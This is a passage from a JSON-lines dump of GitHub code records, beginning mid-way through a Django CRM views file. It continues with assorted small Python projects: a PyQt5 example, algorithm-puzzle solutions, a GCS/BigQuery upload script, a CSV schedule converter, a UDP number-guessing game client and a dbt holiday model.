groups]\n    today = datetime.today().weekday()\n    today = today+1 if today <6 else 0\n    groups = [g for g in all_groups if checkTime(g.schedule,str(today))]\n    tomorrow_data = []\n    for g in groups:\n        tomorrow_data.extend([{'id':s.pk,\n            'name':s.name,\n            'phone':Phone.objects.filter(client = s),\n            'money':s.money,\n            'message':f\"Зравствуйте, напоминаем что завтра в {checkTime(g.schedule,today)} занятие по {g.name}. Будем вас ждать\"\n    } for s in g.clients.all()])\n    tomorrow_active_groups = [{\n        'pk':g.pk,\n        'teacher':g.teacher,\n        'name':g.name,\n        'clients':g.clients.all,\n        'schedule':convertSchedule(g.schedule)\n    } for g in groups]    \n    template = loader.get_template('crm/simpleDashboard.html')\n    context = {\n        'groups' : active_groups,\n        'clients' : data,\n        'tomorrow_groups' : tomorrow_active_groups,\n        'tomorrow_clients' : tomorrow_data,        \n    }\n    return HttpResponse(template.render(context, request))\n\n#========================================================\n@login_required\ndef client_card(request, client_id,error_message = None):\n    client = Client.objects.get(pk=client_id)\n    payments = Payment.objects.filter(client=client)\n    group = Group.objects.filter(clients=client)\n    phone = Phone.objects.filter(client=client)\n    data = Lesson.objects.filter(clients=client)\n    template = loader.get_template('crm/clientCard.html')\n    context = {\n        'client' : client,\n        'payments':payments,\n        'group': group,\n        'phone': phone,\n        'lessons': data,\n        'error_message':error_message\n\n    }\n    return HttpResponse(template.render(context, request))\nclass phoneError(Exception):\n    def __init__(self, message):\n        self.message = message\n    def __str__(self):\n        return f\"[ERROR]{self.message}\\n\"\n\ndef fixPhone(phone:str)->int:\n    remove = \"() -\"\n    for c in remove:\n        phone = phone.replace(c,\"\")\n    if len(phone) not in (10,11) :\n        raise phoneError(\"Неверный номер!\")\n    elif len(phone) == 10 :\n        phone = \"8\" + phone\n        return int(phone)\n    elif len(phone) == 11 :\n        phone = \"8\" + phone[1::]\n        return int(phone)\n    else:\n        pass\n\n@login_required\ndef addPhone(request):\n    try:\n        client = int(request.POST['client'])\n        note = request.POST['note']\n        phone = fixPhone(request.POST['phone'])\n    except (KeyError):\n        return render(request,'crm/clientCard.html',{\n            'error_message': \"Что-то пошло не так, причем серьезно!\"\n        })\n    except phoneError as e:\n        return redirect(\"client_card\",client_id = client,error_message = e.message)\n    active_client = Client.objects.get(pk = client)\n    p = Phone(client = active_client,\n    phone = phone,\n    note = note)\n    p.save()\n    return HttpResponseRedirect(reverse('client_card', args=(client,)))\n@login_required\ndef editName(request):\n    try:\n        client = int(request.POST['client'])\n        name = request.POST['name']\n    except (KeyError):\n        return render(request,'crm/clientCard.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    clients = Client.objects.get(pk = client)\n    clients.name = name\n    clients.save()\n    return HttpResponseRedirect(reverse('client_card', args=(client,)))\n\n# def deletePhone(request):\n#     try:\n#         print(request.POST)\n#         client = int(request.POST['client'])\n#         note = request.POST['note']\n#         phone = int(request.POST['phone'])\n#     except (KeyError):\n#         return render(request,'crm/clientCard.html',{\n#             'error_message': \"You didn't select a choice.\"\n#         })\n#     active_client = Client.objects.get(pk = client)\n#     p = Phone(client = active_client,\n#     phone = phone,\n#     note = note)\n#     p.delete()\n#     context = {\n#         'phone': p,\n#     }\n#     return HttpResponseRedirect(reverse('client_card', args=(client, context)))\n\n\n#========================================================\n@login_required\ndef editLesson(request, lesson_id):\n    lesson = Lesson.objects.get(pk=lesson_id)\n    clients = Client.objects.all()\n    \n    context = {\n        'lessons': lesson,\n        'clients': clients,\n    }\n    template = loader.get_template('crm/editLesson.html')\n\n    return HttpResponse(template.render(context, request))\n\n@login_required    \ndef editPriceLessons(request):\n    try:\n        lesson = int(request.POST['lesson'])\n        price = int(request.POST['price'])\n    except (KeyError):\n        return render(request,'crm/editLesson.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    lessons = Lesson.objects.get(pk=lesson)\n    lessons.price = price\n    lessons.save()\n    return HttpResponseRedirect(reverse('editLesson', args=(lesson,)))\n\n@login_required\ndef deleteLessonClient(request, client_id, lesson_id):\n    client = Client.objects.get(pk=client_id)\n    lesson = Lesson.objects.get(pk=lesson_id)\n    lesson.clients.remove(client)\n    lesson.save()\n    return HttpResponseRedirect(reverse('editLesson', args=(lesson_id,)))\n\n@login_required      \ndef addClientToLesson(request):\n    try:\n        client = request.POST['client']\n        lesson = int(request.POST['lesson'])\n    except (KeyError):\n        return render(request,'crm/editLesson.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n\n    new_client = Client.objects.get(pk = client)\n    lesson = Lesson.objects.get(pk = lesson)\n    lesson.clients.add(new_client)\n    lesson.save()\n    return HttpResponseRedirect(reverse('editLesson', args=(lesson.pk,)))\n        \n    \n\n#========================================================\n@login_required\ndef editGroup(request, group_id):\n    group = Group.objects.get(pk=group_id)\n    clients = Client.objects.all()\n    active_group = {\n        'pk':group.pk,\n        'teacher':group.teacher,\n        'name':group.name,\n        'clients':group.clients.all,\n        'schedule':convertSchedule(group.schedule),\n        'archive':group.archive,\n    }\n\n    context = {\n        'group': active_group,\n        'clients' : clients,\n    }\n    template = loader.get_template('crm/editGroup.html')\n\n    return HttpResponse(template.render(context, request))\n@login_required\ndef addClientToGroup(request):\n    try:\n        client = request.POST['client']\n        group = int(request.POST['group'])\n    except (KeyError):\n        return render(request,'crm/editLesson.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    new_client = Client.objects.get(pk = client)\n    group = Group.objects.get(pk = group)\n    group.clients.add(new_client)\n    group.save()\n    return HttpResponseRedirect(reverse('editGroup', args=(group.pk,)))\n    \n@login_required\ndef deleteGroupClient(request, client_id, group_id):\n    client = Client.objects.get(pk=client_id)    \n    group = Group.objects.get(pk=group_id)\n    group.clients.remove(client)\n    group.save()\n    return HttpResponseRedirect(reverse('editGroup', args=(group_id,)))\n@login_required\ndef editGroupData(request):\n    try:\n        group = int(request.POST['group'])\n        schedule = {}\n        for day in request.POST.getlist('day'):\n            schedule[day] = request.POST[f\"day{day}time\"]\n    except:\n        return render(request,'crm/editGroup.html',{\n            'error_message': \"You didn't select a choice.\"\n        })\n    else:\n        if not schedule:\n           return HttpResponseRedirect(reverse('editGroup', args=(group,)))  \n        else:\n            for i in schedule:\n                if schedule[i] == \"\":\n                    return HttpResponseRedirect(reverse('editGroup', args=(group,)))    \n        g = Group.objects.get(pk=group)\n        g.schedule = str(schedule)\n        g.save()  \n        return HttpResponseRedirect(reverse('editGroup', args=(group,)))\n@login_required\ndef switch_archive_group(request,group_id):\n    g = Group.objects.get(pk=group_id)\n    g.archive = not g.archive\n    g.save()\n    return HttpResponseRedirect(request.META.get('HTTP_REFERER'))\n\n#====================================================================\n@login_required\n@user_passes_test(lambda u: u.groups.filter(name='admin').exists(),login_url='teachersDashbord')\ndef mountlyReport(request):\n    pay = 130\n    if 'month' in request.POST:\n        today = int(request.POST['month'][-2::])\n    else:\n        today = datetime.today().month\n    active_lessons = Lesson.objects.filter(\n        date__year=2022,\n        date__month = today)\n    totalLessonsPeopleCount = sum([l.clients.all().count() for l in active_lessons])\n    totalLessonsMoneyCount = sum([l.clients.all().count()*l.price for l in active_lessons])\n    active_payments = Payment.objects.filter(        \n        date__year=2022,\n        date__month = today)\n    totalPayAll = sum([p.value for p in active_payments])\n    totalPayDiff = totalPayAll-totalLessonsMoneyCount\n    active_clients = Client.objects.filter(money__lte = -1)\n    teacher_data = []\n    totalHighRoll = 0\n    for t in Teacher.objects.all():\n        t_lessons = active_lessons.filter(teacher = t).filter(date__month = today)\n        hourCount = sum([l.clients.all().count() for l in t_lessons])\n        totalPay = sum([l.clients.all().count()*l.price for l in t_lessons])\n        payday = sum([l.clients.all().count()*pay for l in t_lessons])\n        totalHighRoll+=totalPay - payday\n        data = {'name':t.name,\n        'lessonCount':t_lessons.count,\n        'hourCount':hourCount,\n        'eff':hourCount/t_lessons.count() if t_lessons.count()>0 else 0,\n        'totalPay':totalPay,\n        'payday':payday,\n        'highroll':totalPay - payday,\n        'lessonHystory':t_lessons\n        }\n        teacher_data.append(data)\n\n    \n    template = loader.get_template('crm/report.html')\n    context = {\n        'totalLessonsCount' : active_lessons.count,\n        'totalLessonsPeopleCount' : totalLessonsPeopleCount,\n        'totalLessonsMoneyCount' : totalLessonsMoneyCount,\n        'totalPayCount' : active_payments.count,\n        'totalPay' : totalPayAll,\n        'totalPayDiff' : totalPayDiff,\n        'clients' : active_clients,\n        'teacher_data':teacher_data,\n        'totalHighRoll':totalHighRoll\n    }\n    return HttpResponse(template.render(context, request))\n\n#==============================================================================\n@login_required\ndef teachersDashbord(request):\n    if request.user.is_authenticated:\n        username = request.user.username\n    else:\n        #user = \"None\"\n        return HttpResponseRedirect(reverse('forbiden', args=()))\n    \n    # groups = Group.objects.all()\n\n    # groups = [g for g in groups if checkTime(g.schedule)]\n    # active_groups = [{\n    #     'pk':g.pk,\n    #     'teacher':g.teacher,\n    #     'name':g.name,\n    #     'clients':g.clients.all,\n    #     'schedule':convertSchedule(g.schedule)\n    # } for g in groups]\n    template = loader.get_template('crm/teachersDashboard.html')\n    context ={\n        \"username\":username,\n       # 'groups' : active_groups,\n    }\n    return HttpResponse(template.render(context, request))","repo_name":"Nikonoff-N/NewCRM","sub_path":"newCRM/CRM/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":22038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21843881381","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n    【简介】\n    部件中的信号槽通信示例\n\n\n\"\"\"\n\n\nfrom PyQt5.QtWidgets import QMainWindow,QHBoxLayout, QPushButton ,  QApplication, QWidget  \nimport sys \n\nclass WinForm(QMainWindow):  \n\t\n\tdef __init__(self, parent=None):  \n\t\tsuper(WinForm, self).__init__(parent)\n\t\tself.setWindowTitle('控件中的信号槽通信')\n     \n\t\tself.button1 = QPushButton('Button 1')  \n\t\t# \n\t\tself.button1.clicked.connect(self.onButtonClick) \n        \n\t\tlayout = QHBoxLayout()  \n\t\tlayout.addWidget(self.button1)  \n        \n\t\tmain_frame = QWidget()  \n\t\tmain_frame.setLayout(layout)    \n\t\tself.setCentralWidget(main_frame)  \n  \n\tdef onButtonClick(self ):  \n        #sender 是发送信号的对象\n\t\tsender = self.sender()         \n\t\tprint( sender.text() + ' 被按下了' )   \n\t\t\n        \nif __name__ == \"__main__\":  \n\tapp = QApplication(sys.argv)  \n\tform = WinForm()  \n\tform.show()  \n\tsys.exit(app.exec_())\n","repo_name":"cxinping/PyQt5","sub_path":"Chapter07/qt07_winSignalSlot02.py","file_name":"qt07_winSignalSlot02.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":2140,"dataset":"github-code","pt":"16"}
+{"seq_id":"8621307431","text":"from collections import defaultdict\nfrom copy import deepcopy\ndef fish_move(x, y, d):\n    global Map, taste, sx, sy, steps\n    for i in range(8):\n        nd = (d - i)%8\n        dx, dy = steps[nd]\n        nx, ny = x + dx, y + dy\n        if 0 <= nx < 4 and 0 <= ny < 4 and taste[nx][ny] == 0:\n            if nx != sx or ny != sy:\n                return nx, ny, nd\n    return x, y, d\n\ndef fishs_move():\n    global Map, taste, sx, sy, steps\n    New = [[[0] * 8 for _ in range(4)] for _ in range(4)]\n    for i in range(4):\n        for j in range(4):\n            for d in range(8):\n                if Map[i][j][d]:\n                    x, y, nd = fish_move(i, j, d)\n                    New[x][y][nd] += Map[i][j][d]\n    Map = New\ndef shark_moves():\n    global step_shark, Map, sx, sy, taste\n    \"\"\"\n    이부분을 1로두면 상어가 먹지않더라도 움직이는 경우 제어 못함\n    따라서 -1로 두어서 먹이0 제일우선순위 자리 구하는 경우 생각해야함\n    \"\"\"\n    Max_cnt = -1\n    traked = set()\n    for a in range(4):\n        for b in range(4):\n            for c in range(4):\n                cnt = 0\n                visit = set()\n                x, y = sx, sy\n                dx, dy = step_shark[a]\n                nx, ny = x + dx, y + dy\n                if 0 <= nx < 4 and 0 <= ny < 4:\n                    visit.add((nx, ny))\n                    x, y = nx, ny\n                else:\n                    continue\n                dx, dy = step_shark[b]\n                nx, ny = x + dx, y + dy\n                if 0 <= nx < 4 and 0 <= ny < 4:\n                    visit.add((nx, ny))\n                    x, y = nx, ny\n                else:\n                    continue\n                dx, dy = step_shark[c]\n                nx, ny = x + dx, y + dy\n                if 0 <= nx < 4 and 0 <= ny < 4:\n                    visit.add((nx, ny))\n                    x, y = nx, ny\n                else:\n                    continue\n                for x, y in visit:\n                    cnt += sum(Map[x][y])\n                if cnt > Max_cnt:\n                    Max_cnt = cnt\n                    traked = [a, b, c]\n    x, y = sx, sy\n    for d in traked:\n        dx, dy = step_shark[d]\n        x, y = x + dx, y + dy\n        if sum(Map[x][y]):\n            taste[x][y] = 3\n        Map[x][y] = [0]*8\n    return x, y\n\n\nsteps = [(0,-1),(-1, -1),(-1, 0),(-1, 1),(0, 1),(1, 1),(1, 0),(1,-1)]\nstep_shark = [(-1, 0),(0, -1),(1, 0),(0, 1)]\nM, S = map(int, input().split())\nMap = [[[0]*8 for _ in range(4)] for _ in range(4)]\ntaste = [[0]*4 for _ in range(4)]\nfor fish_cnt in range(M):\n    x, y, d = map(int, input().split())\n    Map[x-1][y-1][d-1] += 1\nsx, sy = map(int, input().split())\nsx -= 1\nsy -= 1\ncnt = 0\nwhile cnt < S:\n    cnt += 1\n    initail = deepcopy(Map)\n    # 물고기 이동\n    fishs_move()\n    # 상어 이동\n    sx, sy = shark_moves()\n    # 냄새 -1\n    for i in range(4):\n        for j in range(4):\n            if taste[i][j] != 0:\n                taste[i][j] -= 1\n    # 물고기 복사\n    for i in range(4):\n        for j in range(4):\n            for d in range(8):\n                Map[i][j][d] += initail[i][j][d]\ncnt = 0\nfor i in range(4):\n    for j in range(4):\n        cnt += sum(Map[i][j])\nprint(cnt)","repo_name":"leejongcheal/baekjoon_course_coding","sub_path":"삼성기출/21하 마법사 상어와 복제 23290.py","file_name":"21하 마법사 상어와 복제 23290.py","file_ext":"py","file_size_in_byte":3233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11892866701","text":"# Study on eliminating unnecessary work\r\n# From pg 68 Gayle Laakman McDowell's \"Cracking the Coding Interview\"\r\n# created 11.10.2017 by CB Fay\r\n \r\n# O(n^3)\r\ndef printPairs(n):\r\n\t\"\"\"Print values of a,b,c,d where (a**3 + b**3 = c**3 + d**3).\"\"\"\r\n\tnum = 0\r\n\tfor a in range(1,n):\r\n\t\tfor b in range(1,n):\r\n\t\t\tfor c in range(1,n):\r\n\t\t\t\tA = a**3;\r\n\t\t\t\tB = b**3;\r\n\t\t\t\tC = c**3;\r\n\t\t\t\tif (A + B - C) > 0: # this is necessary to avoid complex numbers\r\n\t\t\t\t\td = int((A + B - C)**(1/3)) # there i only one valid d value for each (a,b,c)\r\n\t\t\t\telse: continue\r\n\t\t\t\tif a**3 + b**3 == c**3 + d**3 and d <= n:\r\n\t\t\t\t\tnum += 1\r\n\t\t\t\t\tprint(num, end=\"\\t\")\r\n\t\t\t\t\tprint(\"{},{},{},{}\".format(a,b,c,d))\r\n\t\t\t\t\r\n# O(n^2)\r\ndef printPairs2(n):\r\n\t\"\"\"Print values of a,b,c,d where (a**3 + b**3 = c**3 + d**3).\"\"\"\r\n\tmap = {} # a dictionary that holds all of the possible c**3 + d**3 combinations\r\n\tnum = 0 # a count of solutions found\r\n\tfor c in range(1,n):\r\n\t\tfor d in range(1,n):\r\n\t\t\tresult = c**3 + d**3; \r\n\t\t\tmap[result] = c, d # appends the pair (c, d) at key result\r\n\tfor a in range(1,n):\r\n\t\tfor b in range (1,n):\r\n\t\t\tresult = a**3 + b**3\r\n\t\t\tlist = [] # create an empty list\r\n\t\t\tlist.append(map[result]) # add all of the pair values at key result to the list\r\n\t\t\tfor pair in list: # print each element in the list. These are necessarily correct values of a and b\r\n\t\t\t\tnum += 1 \r\n\t\t\t\tprint(num, end=\"\\t\")\r\n\t\t\t\tprint(a, b, pair[0], pair[1], end=\" \")\r\n\t\t\t\tprint(\"\\t= {}\".format(a**3 + b**3))\r\n\r\n# O(n^2)\r\ndef printPairs3(n):\r\n\t\"\"\"Print values of a,b,c,d where (a**3 + b**3 = c**3 + d**3).\"\"\"\r\n\tmap = {} # a dictionary that holds all of the possible c**3 + d**3 combinations\r\n\tnum = 0 # the count of combinations of a,b,c,d values that make the statement true\r\n\tfor c in range(1,n): # start at 1, end with 999\r\n\t\tfor d in range(1,n):\r\n\t\t\tresult = c**3 + d**3\r\n\t\t\tmap.setdefault(result, []) # check for the key result, and if it doesn't exist, calling it will return an empty list.\r\n\t\t\tmap[result].append((c,d)) # appends a tuple (c,d) to the end of the single list held as a value to the key result\r\n\t\t\t\r\n\tfor keys in map: # for every possible outcome of c**3 + d**3...\r\n\t\tfor pair1 in map[keys]: # each value (list of tuples) in map gets assigned to pair1\r\n\t\t\tfor pair2 in map[keys]: # each value (list of tuples) in map gets assigned to pair2\r\n\t\t\t\tnum += 1 # increment the count\r\n\t\t\t\tprint(pair1, pair2)\r\n\t\t\t\t\r\n\t\t\t\t# print(num, end = \"\\t\")\r\n\t\t\t\t# print(pair1, pair2, end = \"\\t\")\r\n\t\t\t\t# print(\"a**3 + b**3 =\",end = \" \")\r\n\t\t\t\t# print(pair1[0]**3 + pair1[1]**3)\r\n\t\t\t\t\r\ndef main():\r\n\tprintPairs3(1000)\r\n\r\nif __name__ == \"__main__\":\r\n\tmain() \r\n\t\t\t","repo_name":"craigfay/Python_Study","sub_path":"Python 0026 - printPairs/printPairs.py","file_name":"printPairs.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20725013635","text":"def factorial(n):\n    dp = [1 for i in range(n + 1)]\n    for i in range(2, n + 1):\n        dp[i] = dp[i - 1] * i\n    return dp\ndef solution(n, k):\n    answer = []\n    dp = factorial(n)\n    visited = [0 for _ in range(n)]\n    for i in range(n - 1, -1, -1):\n        a = (k - 1) // dp[i] + 1\n        count = 0\n        for j in range(n):\n            if visited[j] == 1:\n                continue\n            else:\n                count += 1\n            if count == a:\n                visited[j] = 1\n                answer.append(j + 1)\n                break\n        b = (k - 1) % dp[i] + 1\n        k = b\n    return answer","repo_name":"Angela-OH/Algorithm","sub_path":"프로그래머스/Lv.2/12936.py","file_name":"12936.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22473744884","text":"import unittest\nfrom typing import List\n\ndata = (\n    ([1, 3, 5, 6], 5, 2),\n    ([1, 3, 5, 6], 2, 1),\n    ([1, 3, 5, 6], 7, 4),\n    ([1, 3, 5, 6], 0, 0),\n    ([1], 1, 0),\n    ([1, 3], 0, 0),\n)\n\n\nclass Solution:\n    def searchInsert(self, nums: List[int], target: int) -> int:\n        left_index = 0\n        right_index = len(nums)\n        while left_index < right_index:\n            median_index = left_index + (right_index - left_index) // 2\n            median_element = nums[median_index]\n            if median_element >= target:\n                right_index = median_index\n                continue\n            left_index = median_index + 1\n        return left_index\n\n\nclass TestCase(unittest.TestCase):\n    def test_solution(self):\n        s = Solution()\n\n        for input_data, target, result in data:\n            self.assertEqual(result, s.searchInsert(input_data, target))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"cybernextgen/leetcode","sub_path":"easy/35-search-insert-position.py","file_name":"35-search-insert-position.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5355803453","text":"\nfrom gcp_helpers.storage import Storage\nfrom gcp_helpers.bigquery import BigQuery\nfrom gcp_helpers.logger import Logger\nfrom config import raw_data_output_dir, project_id, dataset_id, bucket_name\nfrom pathlib import Path\nfrom utils.parallel import parallelize_threads\n\n# setup logger\nlogger = Logger(project_id).logger\n\n\ndef load_to_BQ(table_id):\n    \"\"\"\n    Upload data to GCS, then load into BQ\n\n    Parameters\n    ----------\n    table_id : str\n        Name of table to load data into\n    \"\"\"\n\n    # upload data to GCS\n    s = Storage(project_id=project_id, bucket_name=bucket_name, logger=logger)\n    local_src_path = Path(raw_data_output_dir) / f\"{table_id}.json\"\n    gcs_dest_path = f'raw_data/{table_id}.json'\n    s.upload_file(local_src_path, gcs_dest_path)\n\n    # instantiate BigQuery API helper\n    t = BigQuery(project_id=project_id,\n                 dataset_id=dataset_id,\n                 table_id=table_id,\n                 schema_json_path=f'./gen_features/schemas/{table_id}.json',\n                 logger=logger)\n\n    # create dataset if it doesn't exist\n    if not t.dataset_exists():\n        t.create_dataset()\n\n    # move data from GCS to BQ\n    gcs_uri = f\"gs://{bucket_name}/{gcs_dest_path}\"\n    t.load_from_gcs(gcs_uri, source_format='JSON')\n\n\ndef run():\n\n    # Upload data to GCS, then load into BQ, in parallel\n    params = [\n        {'table_id': 'events'},\n        {'table_id': 'customer_info'},\n    ]\n    parallelize_threads(load_to_BQ, params)\n\n\nif __name__ == '__main__':\n    run()\n","repo_name":"sthobbs/fraud-model-dev","sub_path":"gen_features/upload_raw_data.py","file_name":"upload_raw_data.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"770152571","text":"import socket\nimport sys, select\nimport time\n\ndef stopwatch(seconds):\n    start = time.time()\n    time.clock()    \n    elapsed = 0\n    while elapsed < seconds:\n        elapsed = time.time() - start\n        print (\"Waiting\",seconds,\"...\")\n        time.sleep(0.5)\n\ndef getLine():\n\ti,o,e = select.select([sys.stdin],[],[],0.0001)\n\tfor s in i:\n\t\tif s == sys.stdin:\n\t\t\tinput = sys.stdin.readline()\n\t\t\treturn input\n\treturn False\n\naddress = \"\"\nmessage = \"\"\nserverHost = \"192.168.1.255\"\nserverPort = 8080\nplayerCount = 0\n \nserverAddr = (serverHost, serverPort)\nserverSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Make Socket Reusable\nserverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # Allow incoming broadcasts\nserverSocket.setblocking(False) # Set socket to non-blocking mode\nserverSocket.bind(('', serverPort)) #Accept Connections on port\nprint (\"Connected to\", serverPort)\n\nsetupMsg = \"hi\"\n\n\nserverSocket.sendto(setupMsg.encode('utf-8'), serverAddr)\n\ntry:\n\t(data, address) = serverSocket.recvfrom(8192)\nexcept:\n\tprint(\"No response from server, trying again...\")\n\tpass\n\t\nrecv = data.decode('utf-8').split()\ngamePort = recv[1]\nmyId = recv[0]\n\ngameAddr = (serverHost, gamePort)\ngameSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ngameSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Make Socket Reusable\ngameSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # Allow incoming broadcasts\ngameSocket.setblocking(False) # Set socket to non-blocking mode\ngameSocket.bind(('', gamePort)) #Accept Connections on port\nprint (\"Connecting to\", gamePort)\n\n\nprint(\"Connected to game port\", gamePort, \"with ID\", myId)\n\nwhile 1:\n\twhile 1:\n\t\tgameSocket.sendto((str(playerCount)).encode('utf-8'), gameAddr)\n\t\tgameSocket.setblocking(True)    \n\t\tmessage, address = gameSocket.recvfrom(8192)\n\n\t\tif message.decode('utf-8') == \"0\":\n\t\t\tplayerCount += 1\n\t\t\tbreak\n\t\telif message:\n\t\t\tplayerCount = int(message.decode('utf-8'))\n\t\telse:\n\t\t\tstopwatch(2)\n\t\t\tprint(\"Waiting for players...\")\n\twhile 1:\n\t\tprint(\"Starting game...\")\n\t\tprint(\"Input a number between 1 and 10: \")\n\n\t\twhile(True):\n\t\t\tinput = getLine()\n\n\t\t\tif not (1 <= int(input) <= 10):\n\t\t\t\tprint(\"Please input a number between 1 and 10\")\n\t\t\t\tinput = getLine()\n\t\t\telse:\n\t\t\t\tbreak\n\n\t\tresults[myId] = input\n\t\tgameSocket.sendto((myId,\" \",input).encode('utf-8'), gameAddr)\n\t\tprint(myId, \":\", input)\n\n\t\ttry:\n\t\t\tgameSocket.settimeout(2)\n\t\t\tfor x in range(playerCount):\n\t\t\t\tmessage, address = gameSocket.recvfrom(8192)\n\n\t\t\t\tif message.decode('utf-8') == \"0\":\n\t\t\t\t\tplayerCount += 1\n\t\t\t\t\tgameSocket.sendto(playerCount.encode('utf-8'), gameAddr)\n\t\t\t\t\tx -= 1\n\t\t\t\telif int(message.decode('utf-8')) == playerCount:\n\t\t\t\t\tx -= 1\n\n\t\t\t\trecv = message.decode(utf-8).split()\n\t\t\t\tprint(recv[0],\":\",recv[1])\n\t\t\t\tresults[recv[0]]=int(recv[1])\n\n\t\t\tprint(\"Starting counting from player 0\")\n\t\t\tresult = sum(recv.values())\n\t\t\twinner = (sum % (playerCount+1))\n\t\t\tprint(\"Player\", winner, \"wins!\")\n\t\t\tprint(\"Starting a new game...\")\n\n\t\texcept socket.timeout:\n\t\t\tprint(\"A player disconnected\")\n\t\t\tplayerCount -= 1\n\t\t\tif playerCount>=2:\n\t\t\t\tprint(\"Restarting game...\")\n\t\t\telse:\n\t\t\t\tprint(\"Not enough players for a match, finding new game...\")\n\t\t\t\tgameSocket.close()\n\t\t\t\ttry:\n\t\t\t\t\t(data, address) = serverSocket.recvfrom(8192)\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"No response from server, trying again...\")\n\t\t\t\t\tpass\n\t\t\t\t\t\n\t\t\t\trecv = data.decode('utf-8').split()\n\t\t\t\tgamePort = recv[1]\n\t\t\t\tmyId = recv[0]\n\n\t\t\t\tgameAddr = (serverHost, gamePort)\n\t\t\t\tgameSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\t\t\tgameSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Make Socket Reusable\n\t\t\t\tgameSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) # Allow incoming broadcasts\n\t\t\t\tgameSocket.setblocking(False) # Set socket to non-blocking mode\n\t\t\t\tgameSocket.bind(('', gamePort)) #Accept Connections on port\n\t\t\t\tprint(\"Connecting to\", gamePort)\n\t\t\t\tprint(\"Connected to game port\", gamePort, \"with ID\", myId)\n\t\t\t\tbreak","repo_name":"rbv3/ProjetoInfraCom","sub_path":"Q3/p2p.py","file_name":"p2p.py","file_ext":"py","file_size_in_byte":4051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14445902564","text":"import pandas as pd\nimport re\n\n# Read the CSV file\ndf = pd.read_csv('data/schools.csv')\n\n# Change column titles to lowercase\ndf.columns = [col.lower() for col in df.columns]\n\n# Define a function to convert time to timestamp form\ndef time_to_timestamp(time_str):\n    time_ranges = re.findall(r'(\\d{1,2}:\\d{2})\\s*-\\s*(\\d{1,2}:\\d{2})', time_str)\n    time_timestamps = []\n    for start, end in time_ranges:\n        start_timestamp = pd.Timestamp(start).strftime('%H:%M')\n        end_timestamp = pd.Timestamp(end).strftime('%H:%M')\n        time_timestamps.append(f\"{start_timestamp}-{end_timestamp}\")\n    return ','.join(list(set(time_timestamps)))\n\n# Apply the conversion to each time column\ntime_columns = ['monday', 'tuesday', 'wednesday', 'thursday', 'friday']\nfor col in time_columns:\n    df[col] = df[col].apply(lambda x: time_to_timestamp(x.strip('[]')) if isinstance(x, str) else x)\n\n# Save the modified CSV file\ndf.to_csv('data/modified_schools.csv', index=False)\n","repo_name":"willblair0708/scienceolympiad","sub_path":"matching/schools.py","file_name":"schools.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70976259530","text":"# import Python packages\nimport holidays\n\n# define a temporary function\ndef is_holiday(date_col):\n    usa_holidays = holidays.US()\n    is_holiday = (date_col in usa_holidays)\n    return is_holiday\n\n# The required model() function must return a single DataFrame\ndef model(dbt, session):\n    dbt.config(\n        materialized = \"table\",\n        packages = [\"holidays\"]\n    )\n\n    orders_df = dbt.ref(\"fct_orders\")\n\n    df = orders_df.to_pandas()\n\n    # apply our function\n    # (columns need to be in uppercase on Snowpark)\n    df[\"IS_HOLIDAY\"] = df[\"ORDER_DATE\"].apply(is_holiday)\n\n    # return final dataset (Pandas DataFrame)\n    return df\n    ","repo_name":"dbt-labs/rapid-onboarding-exemplar","sub_path":"_samples/python/py03__import_pypi_package__holiday.py","file_name":"py03__import_pypi_package__holiday.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"16"}
